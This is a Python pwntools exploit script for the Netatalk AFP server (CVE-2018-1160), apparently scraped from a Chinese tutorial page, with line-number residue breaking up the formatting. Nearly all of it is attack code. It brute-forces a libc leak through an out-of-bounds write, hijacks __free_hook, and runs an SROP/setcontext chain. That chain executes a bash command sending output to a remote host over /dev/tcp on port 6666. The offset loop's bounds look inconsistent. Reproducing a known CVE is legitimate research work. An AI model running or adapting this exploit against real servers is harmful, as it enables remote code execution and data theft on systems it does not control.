      
     
      111
      
     
      112
      
     
      113
      
     
      114
      
     
      115
      
     
      116
      
     
      117
      
     
      118
      
     
      119
      
     
      120
      
     
      121
      
     
      122
       | 
    
     from 
       pwn 
       import 
       *
      import 
       os 
      import 
       sys
      context(os 
       = 
       'linux'
       , arch
       =
       'amd64'
       )
      context.terminal 
       = 
       [
       'tmux'
       , 
       'sp'
       , 
       '-h'
       ]
      libc 
       = 
       ELF(
       "./libc-2.27.so"
       )
      ip 
       = 
       os.popen(
       'ifconfig ens33 | grep "inet " '
       ).read().split()[
       1
       ] 
       # ['inet', '192.168.220.130', 'netmask', '255.255.255.0', 'broadcast', '192.168.220.255'][1]
      port 
       = 
       548
      '''
      dsi_header结构:
          
       flags: 1 byte
          
       command: 1 byte
          
       request_id: 2 bytes
          
       error_code: 4 bytes
          
       dsi_data_len: 4 bytes
          
       reserved: 4 bytes
          
       dsi_data: dsi_data_len bytes
      '''
      def 
       create_dsi_header(command : bytes, dsi_data):
          
       dsi_header 
       = 
       b
       '\x00' 
       # flags
          
       dsi_header 
       +
       = 
       command 
       # command
          
       dsi_header 
       +
       = 
       b
       '\x01\x00' 
       #request_id
          
       dsi_header 
       +
       = 
       b
       '\x00\x00\x00\x00' 
       # error code
          
       dsi_header 
       +
       = 
       p32(
       len
       (dsi_data), endian
       =
       'big'
       ) 
       # Total data length--> sizeof(payload) or sizeof(dsi_data)
          
       dsi_header 
       +
       = 
       p32(
       0
       ) 
       # reserved
          
       dsi_header 
       +
       = 
       dsi_data 
       # payload or dsi_data
          
       return 
       dsi_header
      '''
      dsi_data:
          
       code: 1 byte
          
       size: 1 byte
          
       data: size bytes
      '''
      # dsi_data = code:1byte + size:1byte + data:size bytes
      def 
       create_dsi_data(code : bytes,  data : bytes):
          
       dsi_data 
       = 
       code 
       # code :1 byte
          
       dsi_data 
       +
       = 
       p8(
       len
       (data)) 
       # size: 1 byte
          
       assert 
       len
       (data)  < 
       255
          
       dsi_data 
       +
       = 
       data 
       # data: size bytes
          
       return 
       dsi_data
          
       # 1. 劫持__free_hook指针,需要泄露libc.
          
       # 利用越界写覆盖command指针,观察是否cransh获得一个可写的地址
      def 
       leak_address():
          
       leak_addr 
       = 
       b"" 
       # 0x00 00 7f ?? ?? ?? 00 00 00
          
       flags 
       = 
       p32(
       0x11223344
       , endian
       =
       'big'
       )
          
       for 
       _ 
       in 
       range
       (
       3
       ):
              
       for 
       i 
       in 
       range
       (
       255
       , 
       -
       1
       , 
       -
       1
       ):
                  
       data 
       = 
       p32(
       0
       ) 
       + 
       p32(
       0
       ) 
       + 
       flags[::
       -
       1
       ] 
       + 
       p32(
       0
       ) 
       # 覆盖 attn_quantum, datasize, server_quantum, serverID & clientID
                  
       data 
       +
       = 
       b
       "\x00\x00" 
       + 
       leak_addr 
       + 
       i.to_bytes(
       1
       , byteorder
       =
       'little'
       )
                  
       dsi_data 
       = 
       create_dsi_data(b
       '\x01'
       , data)
                  
       dsi_header 
       = 
       create_dsi_header(b
       '\x04'
       , dsi_data) 
                  
       io 
       = 
       remote(ip, port)
                  
       io.send(dsi_header)
                  
       try
       :
                      
       res 
       = 
       io.recv()
                      
       if 
       flags 
       in 
       res:
                          
       leak_addr 
       +
       = 
       i.to_bytes(
       1
       , byteorder
       =
       'little'
       )
                          
       io.close()
                          
       break
                  
       except
       :
                      
       io.close()
          
       return 
       int
       .from_bytes(b
       "\x00\x00" 
       + 
       leak_addr 
       + 
       b
       "\x7f\x00\x00"
       , byteorder
       =
       'little'
       )
      def 
       main():
          
       if 
       '--debug=true' 
       in 
       sys.argv:
              
       context.log_level 
       = 
       'debug'
          
       leak_addr 
       = 
       leak_address()
          
       print
       (f
       "leak_addr = {hex(leak_addr)}"
       ) 
       # 
          
       pause() 
       # 0x7f42650ec000
          
       input
       ()
          
       leak_addr 
       = 
       0x7f79e9200000
          
       for 
       offset 
       in 
       range
       (
       0x18040000
       , 
       0x1880000
       , 
       0x1000
       ):
              
       print
       (f
       "offset = {hex(offset)}"
       )
              
       # offset = 0x1854000 # 范围在 [0x1840000, 0x1880000] 上下
              
       libc_base 
       = 
       leak_addr 
       - 
       offset
              
       system_addr 
       = 
       libc_base 
       + 
       libc.sym[
       'system'
       ]
              
       __free_hook 
       = 
       libc_base 
       + 
       libc.symbols[
       '__free_hook'
       ]
              
       __libc_dlopen_mode_56 
       = 
       libc_base 
       + 
       libc.sym[
       '__libc_dlopen_mode'
       ] 
       + 
       56
              
       fgetpos64_207 
       = 
       libc_base 
       + 
       libc.sym[
       'fgetpos64'
       ] 
       + 
       207
              
       setcontext_53 
       = 
       libc_base 
       + 
       libc.sym[
       'setcontext'
       ] 
       + 
       53
              
       _dl_open_hook 
       = 
       libc_base 
       + 
       libc.sym[
       '_dl_open_hook'
       ]
              
       # 1. 覆盖commands指针为__free_hook
              
       io 
       = 
       remote(ip, port)
              
       data 
       = 
       b
       'a'
       *
       0x10 
       + 
       p64(__free_hook)
              
       dsi_data 
       = 
       create_dsi_data(b
       '\x01'
       , data)
              
       dsi_header 
       = 
       create_dsi_header(b
       '\x04'
       , dsi_data)
              
       io.send(dsi_header)
              
       # 2.再次发包布局内存
              
       frame 
       = 
       SigreturnFrame()
              
       frame.rip 
       = 
       system_addr
              
       frame.rdi 
       = 
       __free_hook 
       + 
       8
              
       frame.rsp 
       = 
       __free_hook
              
       cmd 
       = 
       f
       'bash -c "ls  > /dev/tcp/{ip}/{6666}" \x00'
       .encode()
              
       # payload = b''.ljust(0x10, b'\x00')
              
       payload 
       = 
       p64(__libc_dlopen_mode_56)
              
       payload 
       +
       = 
       cmd.ljust(
       0x2ca0 
       - 
       8
       , b
       '\x00'
       )
              
       payload 
       +
       = 
       p64(_dl_open_hook 
       + 
       8
       )
              
       payload 
       +
       = 
       p64(fgetpos64_207)
              
       payload 
       +
       = 
       b
       'a'
       *
       0x18
              
       payload 
       +
       = 
       p64(setcontext_53)
              
       payload 
       +
       = 
       bytes(frame)[
       0x28
       :]
              
       dsi_header 
       = 
       create_dsi_header(b
       '\x04'
       , payload)
              
       io.send(dsi_header)
              
       io.close() 
       # 隐式调用free,促发call __free_hook
              
       main()
       | 
   
 
<br /><br /><br /><br />
更多【Netatalk CVE-2018-1160 复现及漏洞利用思路】相关视频教程:www.yxfzedu.com